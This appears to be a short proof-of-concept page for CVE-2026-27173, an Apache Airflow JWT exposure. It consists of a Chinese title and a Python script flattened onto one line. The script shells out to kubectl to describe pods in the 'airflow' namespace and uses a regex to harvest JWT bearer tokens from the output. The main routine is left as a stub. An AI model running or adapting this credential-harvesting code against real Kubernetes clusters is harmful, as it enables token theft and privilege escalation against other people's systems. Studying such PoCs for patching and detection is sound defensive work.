CVE-2026-27173 Apache Airflow JWT信息泄露与权限提升

#!/usr/bin/env python3 """ PoC for CVE-2026-27173: Apache Airflow JWT Token Exposure This script demonstrates how a user with read-only access to K8s pods might extract sensitive JWT tokens. """ import subprocess import re def get_pods_in_namespace(namespace): # List all pods in the target namespace (requires read access) cmd = f"kubectl get pods -n {namespace} -o json" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.stdout def inspect_pod_for_jwt(namespace, pod_name): # Describe the pod to check environment variables and mounts cmd = f"kubectl describe pod {pod_name} -n {namespace}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) output = result.stdout # Simple regex to look for JWT patterns (Bearer token) jwt_pattern = r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*" tokens = re.findall(jwt_pattern, output) if tokens: print(f"[+] Found potential JWT in pod {pod_name}:") for token in tokens: print(f"Token: {token[:50]}...") else: print(f"[-] No JWT found in description of {pod_name}") if __name__ == "__main__": target_namespace = "airflow" print(f"[*] Scanning namespace: {target_namespace}") print("[!] Attempting to list pods (requires kubectl configured and read permissions)") # In a real scenario, parse JSON output to get pod names # and loop through them calling inspect_pod_for_jwt print("[!] If pods are accessible, check 'env' and 'volumes' sections for tokens.")